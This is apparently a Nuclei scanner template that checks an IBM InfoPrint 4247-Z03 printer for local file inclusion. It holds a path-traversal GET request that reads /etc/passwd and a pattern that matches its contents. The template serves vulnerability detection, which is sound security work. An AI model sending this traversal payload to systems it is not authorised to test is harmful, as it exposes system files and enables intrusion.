id: ibm-infoprint-lfi

info:
  name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Local File Inclusion
  author: harshbothra_
  severity: high
  description: IBM InfoPrint 4247-Z03 Impact Matrix Printer is subject to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/47835
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: matrix,printer,edb,ibm,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/./../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a00483046022100d5df67ee9419c44a43290d0dbf4d1a3a45a4d9023fd03bc749369e52a1479197022100dc545002920d886ba62b62ab23b96642f33c328a9d16aca9b4bcac0d16c4954a:922c64590222798bb761d5b6d8e72950